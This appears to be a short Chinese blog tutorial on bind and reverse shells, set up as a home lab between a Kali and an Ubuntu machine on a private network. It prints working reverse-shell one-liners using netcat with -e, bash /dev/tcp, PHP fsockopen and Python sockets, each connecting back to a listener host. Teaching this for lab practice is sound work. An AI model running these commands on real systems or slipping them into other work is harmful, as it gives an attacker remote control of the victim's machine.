3分钟搞懂反弹shell

小数志

共 1751字,需浏览 4分钟

 · 2020-08-06

实际上,很早很早以前就听说过反弹shell,我最早做的网络安全实验就开始反弹shell。比如这个知乎live中的第三个实验TCP会话劫持,就反弹了shell。一年前在与攻防团队的交流会上,再次听到反弹shell,当时也没放在心上,反正挺重要的。直到今天,才算彻底明白反弹shell是咋回事。如果用一句话概述,那么反弹shell就是:



黑客控制了目标,弹一个shell,构建一个稳定的通信后门    
正向shell:客户端想要获得服务端的shell
  • 假设小黑是一名黑客

  • 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了

  • 于是小黑通过nc将这台电脑的控制权通过23333端口发射出去

  • 小黑做了一系列的操作,又悄咪咪的原路返航

  • 回到家后,通过nc连上刘看山的电脑

  • 后来,刘看山的隐私泄露了~

  • (这里小黑是客户端,刘看山是服务端,服务端发射shell)

反向shell:服务端想要获得客户端的shell(也就是反弹shell)
  • 假设小黑是一名黑客

  • 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了

  • 小黑发现电脑里有一个有趣的文件(刘看山的秘密)

  • 小黑下载这个文件到自己的U盘里,又悄咪咪的原路返航

  • 回到家后,小黑打开这个文件

  • 发现电脑被刘看山控制了~

  • (这里小黑是客户端,刘看山是服务端,客户端发射shell)

正向shell(服务端送shell)
  • 第一步:在kali rolling(服务端)上监听23333端口,并反弹shell

nc -lvp 23333 -e /bin/sh




  • 第二步:在ubuntu18(客户端)上连接kali rolling的23333端口

  • 这个时候,客户端就拿到服务端的shell控制权了

  • 可以随意控制服务端

nc 192.168.160.140 23333



反向shell(客户端送shell)
  • 第一步:在ubuntu18上选择增强版的netcat

  • 一般ubuntu默认的是free-bsd版本的nc

update-alternatives --config nc
  • 第二步:在kali rolling上启动服务端,等待客户端上钩

  • 客户端只要吃钩子,服务端就获得了客户端的shell控制权

  • 可以随意控制客户端

nc -lvp 23333
  • 第三步:在ubuntu18上启动客户端,吃钩子

nc 192.168.160.140 23333 -e /bin/sh
  • 我们发现必须客户端和服务端都安装了nc才能实现反弹shell(反向shell)

  • 但是如果其中一方没有安装nc怎么办?

bash反弹shell
  • 服务端(kali rolling上监听23333)

  • 客户端吃钩子,服务端就成功控制客户端了

  • 客户端(ubuntu18上bash反弹shell)

bash -i >& /dev/tcp/192.168.160.140/23333 0>&1
php反弹shell
  • 服务端(kali rolling上监听23333)

  • 客户端吃钩子,服务端就成功控制客户端了

  • 客户端(ubuntu18上bash反弹shell)

php -r '$f=fsockopen("192.168.160.140",23333);exec("/bin/sh -i <&3 >&3 2>&3");'
python反弹shell
  • 服务端(kali rolling上监听23333)

  • 客户端吃钩子,服务端就成功控制客户端了

  • 客户端(ubuntu18上bash反弹shell)

python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.160.140",23333));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

本篇完~


浏览 14
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报